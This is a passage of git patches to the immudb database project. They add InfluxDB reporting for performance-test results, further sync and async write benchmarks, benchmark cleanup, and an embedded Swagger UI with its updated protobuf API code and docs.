h1:I0DwBVMGAx26dttAj1BtJLAkVGncrkkUXfJLC4Flt/I= -gotest.tools/v3 v3.2.0/go.mod h1:Mcr9QNxkg0uMvy/YElmo4SpXgJKWgQvYrT7Kw5RzJ1A= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= diff --git a/test/performance-test-suite/cmd/perf-test/main.go b/test/performance-test-suite/cmd/perf-test/main.go index 5e0e4bedc3..8caee26281 100644 --- a/test/performance-test-suite/cmd/perf-test/main.go +++ b/test/performance-test-suite/cmd/perf-test/main.go @@ -33,6 +33,9 @@ func main() { flDuration := flag.Duration("d", time.Second*10, "duration of each test run") flSeed := flag.Uint64("s", 0, "seed for data generators") flRandomSeed := flag.Bool("random-seed", false, "if set to true, use random seed for test runs") + flInfluxDbHost := flag.String("host", "", "url for influxdb") + flInfluxToken := flag.String("token", "", "token for influxdb") + flInfluxBucket := flag.String("bucket", "immudb-tests-results", "bucket for influxdb") flag.Parse() @@ -56,4 +59,9 @@ func main() { if err != nil { log.Fatal(err) } + + if *flInfluxDbHost != "" && *flInfluxToken != "" { + runner.SendResultsToInfluxDb(*flInfluxDbHost, *flInfluxToken, *flInfluxBucket, results) + } + } diff --git a/test/performance-test-suite/pkg/runner/influxdb_client.go b/test/performance-test-suite/pkg/runner/influxdb_client.go new file mode 100644 index 0000000000..b7ac728c8f --- /dev/null +++ b/test/performance-test-suite/pkg/runner/influxdb_client.go @@ -0,0 +1,38 @@ +package runner + +import ( + "context" + "time" + + influxdb2 "github.com/influxdata/influxdb-client-go/v2" +) + +func SendResultsToInfluxDb(host string, token string, bucket string, r *BenchmarkSuiteResult) { + client := influxdb2.NewClient(host, token) + writer := client.WriteAPIBlocking("Codenotary", bucket) + + for _, b := range r.Benchmarks { + + p := influxdb2.NewPointWithMeasurement("performance"). + AddTag("name", b.Name). + AddField("duration", b.Duration.Seconds()). + AddField("txTotal", b.Results.TxTotal). + AddField("kvTotal", b.Results.KvTotal). + AddField("txs", b.Results.Txs). + AddField("kvs", b.Results.Kvs). + AddField("cpuTime", b.Results.HWStats.CPUTime). + AddField("vmm", b.Results.HWStats.VMM). + AddField("rss", b.Results.HWStats.RSS). + AddField("IOBytesWrite", b.Results.HWStats.IOBytesWrite). + AddField("IOBytesRead", b.Results.HWStats.IOBytesRead). + AddField("IOCallsRead", b.Results.HWStats.IOCallsRead). + AddField("IOCallsWrite", b.Results.HWStats.IOCallsWrite). + SetTime(time.Now()) + + writer.WritePoint(context.Background(), p) + + } + + client.Close() + +} diff --git a/test/performance-test-suite/pkg/runner/results.go b/test/performance-test-suite/pkg/runner/results.go index 489a7627be..01452ed563 100644 --- a/test/performance-test-suite/pkg/runner/results.go +++ b/test/performance-test-suite/pkg/runner/results.go @@ -16,7 +16,11 @@ limitations under the License. package runner -import "time" +import ( + "time" + + "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs" +) type Duration time.Duration @@ -24,6 +28,10 @@ func (d Duration) MarshalJSON() ([]byte, error) { return []byte("\"" + time.Duration(d).String() + "\""), nil } +func (d Duration) Seconds() float64 { + return time.Duration(d).Seconds() +} + type BenchmarkTimelineEntry struct { Time time.Time `json:"time"` Duration Duration `json:"duration"` @@ -37,7 +45,7 @@ type BenchmarkRunResult struct { EndTime time.Time `json:"endTime"` Duration Duration `json:"duration"` RequestedDuration Duration `json:"requestedDuration"` - Results interface{} `json:"results"` + Results *writetxs.Result `json:"results"` Timeline []BenchmarkTimelineEntry `json:"timeline"` } diff --git a/test/performance-test-suite/pkg/runner/runner.go b/test/performance-test-suite/pkg/runner/runner.go index 78ffb68637..89bee81785 100644 --- a/test/performance-test-suite/pkg/runner/runner.go +++ b/test/performance-test-suite/pkg/runner/runner.go @@ -21,6 +21,8 @@ import ( "log" "sync" "time" + + "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks/writetxs" ) func RunAllBenchmarks(d time.Duration, seed uint64) (*BenchmarkSuiteResult, error) { @@ -98,7 +100,7 @@ func RunAllBenchmarks(d time.Duration, seed uint64) (*BenchmarkSuiteResult, erro result.EndTime = time.Now() result.Duration = Duration(result.EndTime.Sub(result.StartTime)) result.RequestedDuration = Duration(d) - result.Results = res + result.Results = res.(*writetxs.Result) ret.Benchmarks = append(ret.Benchmarks, result) From 20d2ceb562826c5f97262144a66166648304dac1 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 15 Feb 2023 08:48:33 -0300 Subject: [PATCH 0239/1062] chore(test/performance-test-suite): add influxdb host and toke arguments Signed-off-by: Marco Sanchotene --- .github/workflows/performance.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 18063d235a..27b5601542 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -43,6 +43,8 @@ jobs: runs-on: ${{ matrix.target.runs-on }} env: ARG_DURATION: "${{ startsWith(github.ref, 'refs/tags/v') && '-d 10m' || '' }}" + INFLUX_HOST: ${{ secrets.INFLUX_HOST }} + INFLUX_TOKEN: ${{ secrets.INFLUX_TOKEN }} steps: - uses: actions/setup-go@v3 with: @@ -53,7 +55,7 @@ jobs: id: performance run: | SECONDS=0 - ./perf-test-suite $ARG_DURATION > perf-test-results-with-summaries.txt + ./perf-test-suite $ARG_DURATION -host $INFLUX_HOST -token $INFLUX_TOKEN > perf-test-results-with-summaries.txt echo "duration=$SECONDS" >> $GITHUB_ENV echo "version=$(cat Makefile | grep '\> $GITHUB_ENV sed '/^{/,/^}/!d' perf-test-results-with-summaries.txt > perf-test-results.json From 86f6b9a7831353635e9e7807c4afbee04000226f Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 15 Feb 2023 11:38:50 -0300 Subject: [PATCH 0240/1062] chore(test/performance-test-suite): add sync benchmarks Signed-off-by: Marco Sanchotene --- .github/workflows/performance.yml | 2 +- .../pkg/runner/benchmarks.go | 72 +++++++++++++++++-- 2 files changed, 67 insertions(+), 7 deletions(-) diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml index 27b5601542..7c7d58b25a 100644 --- a/.github/workflows/performance.yml +++ b/.github/workflows/performance.yml @@ -42,7 +42,7 @@ jobs: target: ${{ fromJson(needs.performance-test-suite-detect-runners.outputs.matrix) }} runs-on: ${{ matrix.target.runs-on }} env: - ARG_DURATION: "${{ startsWith(github.ref, 'refs/tags/v') && '-d 10m' || '' }}" + ARG_DURATION: "${{ startsWith(github.ref, 'refs/tags/v') && '-d 2m' || '' }}" INFLUX_HOST: ${{ secrets.INFLUX_HOST }} INFLUX_TOKEN: ${{ secrets.INFLUX_TOKEN }} steps: diff --git a/test/performance-test-suite/pkg/runner/benchmarks.go b/test/performance-test-suite/pkg/runner/benchmarks.go index ce71b794ec..8b8f747a2c 100644 --- a/test/performance-test-suite/pkg/runner/benchmarks.go +++ b/test/performance-test-suite/pkg/runner/benchmarks.go @@ -24,7 +24,7 @@ import ( func getBenchmarksToRun() []benchmarks.Benchmark { return []benchmarks.Benchmark{ writetxs.NewBenchmark(writetxs.Config{ - Name: "Write TX/s - no replicas", + Name: "Write TX/s async - no replicas", Workers: 30, BatchSize: 1, KeySize: 32, @@ -34,7 +34,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { }), writetxs.NewBenchmark(writetxs.Config{ - Name: "Write KV/s - no replicas", + Name: "Write KV/s async - no replicas", Workers: 30, BatchSize: 1000, KeySize: 32, @@ -44,7 +44,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { }), writetxs.NewBenchmark(writetxs.Config{ - Name: "Write TX/s - one async replica", + Name: "Write TX/s async - one async replica", Workers: 30, BatchSize: 1, KeySize: 32, @@ -54,7 +54,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { }), writetxs.NewBenchmark(writetxs.Config{ - Name: "Write KV/s - one async replica", + Name: "Write KV/s async - one async replica", Workers: 30, BatchSize: 1000, KeySize: 32, @@ -64,7 +64,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { }), writetxs.NewBenchmark(writetxs.Config{ - Name: "Write TX/s - one sync replica", + Name: "Write TX/s async - one sync replica", Workers: 30, BatchSize: 1, KeySize: 32, @@ -74,7 +74,7 @@ func getBenchmarksToRun() []benchmarks.Benchmark { }), writetxs.NewBenchmark(writetxs.Config{ - Name: "Write KV/s - one sync replica", + Name: "Write KV/s async - one sync replica", Workers: 30, BatchSize: 1000, KeySize: 32, @@ -82,5 +82,65 @@ func getBenchmarksToRun() []benchmarks.Benchmark { AsyncWrite: true, Replica: "sync", }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write TX/s sync - no replicas", + Workers: 30, + BatchSize: 1, + KeySize: 32, + ValueSize: 128, + AsyncWrite: false, + Replica: "", + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write KV/s sync - no replicas", + Workers: 30, + BatchSize: 1000, + KeySize: 32, + ValueSize: 128, + AsyncWrite: false, + Replica: "", + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write TX/s sync - one async replica", + Workers: 30, + BatchSize: 1, + KeySize: 32, + ValueSize: 128, + AsyncWrite: false, + Replica: "async", + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write KV/s sync - one async replica", + Workers: 30, + BatchSize: 1000, + KeySize: 32, + ValueSize: 128, + AsyncWrite: false, + Replica: "async", + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write TX/s sync - one sync replica", + Workers: 30, + BatchSize: 1, + KeySize: 32, + ValueSize: 128, + AsyncWrite: false, + Replica: "sync", + }), + + writetxs.NewBenchmark(writetxs.Config{ + Name: "Write KV/s sync - one sync replica", + Workers: 30, + BatchSize: 1000, + KeySize: 32, + ValueSize: 128, + AsyncWrite: false, + Replica: "sync", + }), } } From 230a21a0dda718b91c8495e1625cb9ae3dc14fb8 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Wed, 15 Feb 2023 14:39:51 -0300 Subject: [PATCH 0241/1062] chore(test/performance): call cleanup method Stop servers after running each benchmark. Check if replica was used before trying to stop it. Use benchmark end time on InfluxDB point. Signed-off-by: Marco Sanchotene --- .../pkg/benchmarks/writetxs/benchmark.go | 5 ++++- test/performance-test-suite/pkg/runner/influxdb_client.go | 3 +-- test/performance-test-suite/pkg/runner/runner.go | 2 ++ 3 files changed, 7 insertions(+), 3 deletions(-) diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 87f026c2e9..701566b358 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -234,7 +234,10 @@ func (b *benchmark) Cleanup() error { } b.primaryServer.Stop() - b.replicaServer.Stop() + + if b.replicaServer != nil { + b.replicaServer.Stop() + } return nil } diff --git a/test/performance-test-suite/pkg/runner/influxdb_client.go b/test/performance-test-suite/pkg/runner/influxdb_client.go index b7ac728c8f..eef60f0a11 100644 --- a/test/performance-test-suite/pkg/runner/influxdb_client.go +++ b/test/performance-test-suite/pkg/runner/influxdb_client.go @@ -2,7 +2,6 @@ package runner import ( "context" - "time" influxdb2 "github.com/influxdata/influxdb-client-go/v2" ) @@ -27,7 +26,7 @@ func SendResultsToInfluxDb(host string, token string, bucket string, r *Benchmar AddField("IOBytesRead", b.Results.HWStats.IOBytesRead). AddField("IOCallsRead", b.Results.HWStats.IOCallsRead). AddField("IOCallsWrite", b.Results.HWStats.IOCallsWrite). - SetTime(time.Now()) + SetTime(b.EndTime) writer.WritePoint(context.Background(), p) diff --git a/test/performance-test-suite/pkg/runner/runner.go b/test/performance-test-suite/pkg/runner/runner.go index 89bee81785..19adfc0e6f 100644 --- a/test/performance-test-suite/pkg/runner/runner.go +++ b/test/performance-test-suite/pkg/runner/runner.go @@ -106,6 +106,8 @@ func RunAllBenchmarks(d time.Duration, seed uint64) (*BenchmarkSuiteResult, erro log.Printf("Benchmark %s finished", b.Name()) log.Printf("Results: %s", res) + + b.Cleanup() } ret.EndTime = time.Now() From 83cffc99e5e827697a8a4be29f2802704f58172c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Mon, 20 Feb 2023 21:20:00 +0100 Subject: [PATCH 0242/1062] Swagger UI, base path, mock implementation for API routes, changed statik to allow to embed multiple FS, reflection enabled --- .gitignore | 4 + Makefile | 14 +- cmd/immudb/command/init.go | 1 + pkg/api/schemav2/docs.md | 107 ++- pkg/api/schemav2/schemav2.pb.go | 998 +++++++++++++++---------- pkg/api/schemav2/schemav2.pb.gw.go | 255 ++++--- pkg/api/schemav2/schemav2.proto | 103 ++- pkg/api/schemav2/schemav2.swagger.json | 172 +++-- pkg/api/schemav2/schemav2_grpc.pb.go | 182 +++-- pkg/server/objects_operations.go | 39 + pkg/server/server.go | 3 + pkg/server/webserver.go | 18 +- swagger/swagger.go | 26 + swagger/swaggeroverrides.js | 21 + webconsole/statik.go | 16 - webconsole/webconsole.go | 10 +- webconsole/webconsole_default.go | 9 +- 17 files changed, 1264 insertions(+), 714 deletions(-) create mode 100644 pkg/server/objects_operations.go create mode 100644 swagger/swagger.go create mode 100644 swagger/swaggeroverrides.js delete mode 100644 webconsole/statik.go diff --git a/.gitignore b/.gitignore index 6ed96abc21..895bbdef10 100644 --- a/.gitignore +++ b/.gitignore @@ -47,3 +47,7 @@ vendor immudb_pwd token token_admin + +swagger/dist +swagger/swagger +webconsole/webconsole \ No newline at end of file diff --git a/Makefile b/Makefile index 593cb44086..4b08835e33 100644 --- a/Makefile +++ b/Makefile @@ -20,6 +20,8 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 +SWAGGERUIVERSION=4.15.5 +SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" PWD = $(shell pwd) GO ?= go @@ -45,8 +47,9 @@ V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ -X github.com/codenotary/immudb/cmd/version.FIPSEnabled=true GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') +IMMUDB_BUILD_TAGS=-tags swagger ifdef WEBCONSOLE -IMMUDB_BUILD_TAGS=-tags webconsole +IMMUDB_BUILD_TAGS=-tags webconsole,swagger endif .PHONY: all @@ -211,6 +214,15 @@ build/codegenv2: --doc_out=pkg/api/schemav2 --doc_opt=markdown,docs.md \ --plugin=protoc-gen-doc=$(PWD)/scripts/protoc-gen-doc +.PHONY: build/embedswagger +build/embedswagger: + rm -rf swagger/dist/ + curl -L $(SWAGGERUILINK) | tar -xvz -C swagger + mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) + cp pkg/api/schemav2/schemav2.swagger.json swagger/dist/schemav2.swagger.json + cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js + env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger + .PHONY: clean clean: rm -rf immudb immuclient immuadmin immutest ./webconsole/dist diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 604c74d818..669136c646 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -84,6 +84,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("session-timeout", 2*time.Minute, "session timeout is a duration after which an inactive session is forcibly closed by the server") cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") + cmd.Flags().Bool("reflection", options.ReflectionServerEnabled, "GRPC relection server enabled") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", diff --git a/pkg/api/schemav2/docs.md b/pkg/api/schemav2/docs.md index 597348dcd2..8e1641914c 100644 --- a/pkg/api/schemav2/docs.md +++ b/pkg/api/schemav2/docs.md @@ -8,20 +8,24 @@ - [CollectionCreateRequest.IndexKeysEntry](#immudb.schemav2.CollectionCreateRequest.IndexKeysEntry) - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry) - [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) + - [CollectionGetRequest](#immudb.schemav2.CollectionGetRequest) - [CollectionInformation](#immudb.schemav2.CollectionInformation) - [CollectionInformation.IndexKeysEntry](#immudb.schemav2.CollectionInformation.IndexKeysEntry) - [CollectionInformation.PrimaryKeysEntry](#immudb.schemav2.CollectionInformation.PrimaryKeysEntry) - [CollectionListRequest](#immudb.schemav2.CollectionListRequest) - [CollectionListResponse](#immudb.schemav2.CollectionListResponse) - [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) + - [DocumentQuery](#immudb.schemav2.DocumentQuery) - [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) - - [DocumentSearchRequest.QueryEntry](#immudb.schemav2.DocumentSearchRequest.QueryEntry) - [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) - [LoginRequest](#immudb.schemav2.LoginRequest) - - [LoginResponse](#immudb.schemav2.LoginResponse) - - [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) + - [LoginResponseV2](#immudb.schemav2.LoginResponseV2) + - [Proof](#immudb.schemav2.Proof) - - [ImmuService](#immudb.schemav2.ImmuService) + - [PossibleIndexType](#immudb.schemav2.PossibleIndexType) + - [QueryOperator](#immudb.schemav2.QueryOperator) + + - [ImmuServiceV2](#immudb.schemav2.ImmuServiceV2) - [Scalar Value Types](#scalar-value-types) @@ -60,7 +64,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | +| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | @@ -76,7 +80,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | +| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | @@ -98,6 +102,21 @@ + + +### CollectionGetRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + ### CollectionInformation @@ -124,7 +143,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | +| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | @@ -140,7 +159,7 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | -| value | [PossibleIndexValue](#immudb.schemav2.PossibleIndexValue) | | | +| value | [PossibleIndexType](#immudb.schemav2.PossibleIndexType) | | | @@ -188,34 +207,35 @@ - + -### DocumentSearchRequest +### DocumentQuery | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| collection | [string](#string) | | | -| query | [DocumentSearchRequest.QueryEntry](#immudb.schemav2.DocumentSearchRequest.QueryEntry) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | +| field | [string](#string) | | | +| operator | [QueryOperator](#immudb.schemav2.QueryOperator) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | - + -### DocumentSearchRequest.QueryEntry +### DocumentSearchRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| key | [string](#string) | | | -| value | [google.protobuf.Value](#google.protobuf.Value) | | | +| collection | [string](#string) | | | +| query | [DocumentQuery](#immudb.schemav2.DocumentQuery) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | @@ -251,40 +271,37 @@ | username | [string](#string) | | | | password | [string](#string) | | | | database | [string](#string) | | | -| writeAccess | [bool](#bool) | | | - + -### LoginResponse +### LoginResponseV2 | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | token | [string](#string) | | | +| expirationTimestamp | [int32](#int32) | | | - + -### PossibleIndexValue +### Proof | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| number_value | [double](#double) | | Represents a double value. | -| string_value | [string](#string) | | Represents a string value. | -| bool_value | [bool](#bool) | | Represents a boolean value. | -| int_value | [int64](#int64) | | Represents a int64 value | +| name | [string](#string) | | | @@ -292,22 +309,52 @@ + + + +### PossibleIndexType + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| DOUBLE | 0 | | +| INTEGER | 1 | | +| STRING | 2 | | + + + + + +### QueryOperator + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| EQ | 0 | | +| GT | 1 | | +| GTE | 2 | | +| LT | 3 | | +| LTE | 4 | | +| LIKE | 5 | | + + - + -### ImmuService +### ImmuServiceV2 | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| -| Login | [LoginRequest](#immudb.schemav2.LoginRequest) | [LoginResponse](#immudb.schemav2.LoginResponse) | | +| LoginV2 | [LoginRequest](#immudb.schemav2.LoginRequest) | [LoginResponseV2](#immudb.schemav2.LoginResponseV2) | | | DocumentInsert | [DocumentInsertRequest](#immudb.schemav2.DocumentInsertRequest) | [.immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | DocumentSearch | [DocumentSearchRequest](#immudb.schemav2.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.schemav2.DocumentSearchResponse) | | | CollectionCreate | [CollectionCreateRequest](#immudb.schemav2.CollectionCreateRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | +| CollectionGet | [CollectionGetRequest](#immudb.schemav2.CollectionGetRequest) | [CollectionInformation](#immudb.schemav2.CollectionInformation) | | | CollectionList | [CollectionListRequest](#immudb.schemav2.CollectionListRequest) | [CollectionListResponse](#immudb.schemav2.CollectionListResponse) | | | CollectionDelete | [CollectionDeleteRequest](#immudb.schemav2.CollectionDeleteRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | diff --git a/pkg/api/schemav2/schemav2.pb.go b/pkg/api/schemav2/schemav2.pb.go index 85fa911e8b..0f662e0cd3 100644 --- a/pkg/api/schemav2/schemav2.pb.go +++ b/pkg/api/schemav2/schemav2.pb.go @@ -25,6 +25,113 @@ const ( _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) +type QueryOperator int32 + +const ( + QueryOperator_EQ QueryOperator = 0 + QueryOperator_GT QueryOperator = 1 + QueryOperator_GTE QueryOperator = 2 + QueryOperator_LT QueryOperator = 3 + QueryOperator_LTE QueryOperator = 4 + QueryOperator_LIKE QueryOperator = 5 +) + +// Enum value maps for QueryOperator. +var ( + QueryOperator_name = map[int32]string{ + 0: "EQ", + 1: "GT", + 2: "GTE", + 3: "LT", + 4: "LTE", + 5: "LIKE", + } + QueryOperator_value = map[string]int32{ + "EQ": 0, + "GT": 1, + "GTE": 2, + "LT": 3, + "LTE": 4, + "LIKE": 5, + } +) + +func (x QueryOperator) Enum() *QueryOperator { + p := new(QueryOperator) + *p = x + return p +} + +func (x QueryOperator) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (QueryOperator) Descriptor() protoreflect.EnumDescriptor { + return file_schemav2_proto_enumTypes[0].Descriptor() +} + +func (QueryOperator) Type() protoreflect.EnumType { + return &file_schemav2_proto_enumTypes[0] +} + +func (x QueryOperator) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use QueryOperator.Descriptor instead. +func (QueryOperator) EnumDescriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{0} +} + +type PossibleIndexType int32 + +const ( + PossibleIndexType_DOUBLE PossibleIndexType = 0 + PossibleIndexType_INTEGER PossibleIndexType = 1 + PossibleIndexType_STRING PossibleIndexType = 2 +) + +// Enum value maps for PossibleIndexType. +var ( + PossibleIndexType_name = map[int32]string{ + 0: "DOUBLE", + 1: "INTEGER", + 2: "STRING", + } + PossibleIndexType_value = map[string]int32{ + "DOUBLE": 0, + "INTEGER": 1, + "STRING": 2, + } +) + +func (x PossibleIndexType) Enum() *PossibleIndexType { + p := new(PossibleIndexType) + *p = x + return p +} + +func (x PossibleIndexType) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (PossibleIndexType) Descriptor() protoreflect.EnumDescriptor { + return file_schemav2_proto_enumTypes[1].Descriptor() +} + +func (PossibleIndexType) Type() protoreflect.EnumType { + return &file_schemav2_proto_enumTypes[1] +} + +func (x PossibleIndexType) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use PossibleIndexType.Descriptor instead. +func (PossibleIndexType) EnumDescriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{1} +} + type DocumentInsertRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -80,21 +187,84 @@ func (x *DocumentInsertRequest) GetDocument() []*_struct.Struct { return nil } +type DocumentQuery struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.schemav2.QueryOperator" json:"operator,omitempty"` + Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *DocumentQuery) Reset() { + *x = DocumentQuery{} + if protoimpl.UnsafeEnabled { + mi := &file_schemav2_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentQuery) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentQuery) ProtoMessage() {} + +func (x *DocumentQuery) ProtoReflect() protoreflect.Message { + mi := &file_schemav2_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentQuery.ProtoReflect.Descriptor instead. +func (*DocumentQuery) Descriptor() ([]byte, []int) { + return file_schemav2_proto_rawDescGZIP(), []int{1} +} + +func (x *DocumentQuery) GetField() string { + if x != nil { + return x.Field + } + return "" +} + +func (x *DocumentQuery) GetOperator() QueryOperator { + if x != nil { + return x.Operator + } + return QueryOperator_EQ +} + +func (x *DocumentQuery) GetValue() *_struct.Value { + if x != nil { + return x.Value + } + return nil +} + type DocumentSearchRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Query map[string]*_struct.Value `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` - Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Query []*DocumentQuery `protobuf:"bytes,2,rep,name=query,proto3" json:"query,omitempty"` + Page uint32 `protobuf:"varint,3,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,4,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentSearchRequest) Reset() { *x = DocumentSearchRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schemav2_proto_msgTypes[1] + mi := &file_schemav2_proto_msgTypes[2] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -107,7 +277,7 @@ func (x *DocumentSearchRequest) String() string { func (*DocumentSearchRequest) ProtoMessage() {} func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { - mi := &file_schemav2_proto_msgTypes[1] + mi := &file_schemav2_proto_msgTypes[2] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -120,7 +290,7 @@ func (x *DocumentSearchRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DocumentSearchRequest.ProtoReflect.Descriptor instead. func (*DocumentSearchRequest) Descriptor() ([]byte, []int) { - return file_schemav2_proto_rawDescGZIP(), []int{1} + return file_schemav2_proto_rawDescGZIP(), []int{2} } func (x *DocumentSearchRequest) GetCollection() string { @@ -130,7 +300,7 @@ func (x *DocumentSearchRequest) GetCollection() string { return "" } -func (x *DocumentSearchRequest) GetQuery() map[string]*_struct.Value { +func (x *DocumentSearchRequest) GetQuery() []*DocumentQuery { if x != nil { return x.Query } @@ -165,7 +335,7 @@ type DocumentSearchResponse struct { func (x *DocumentSearchResponse) Reset() { *x = DocumentSearchResponse{} 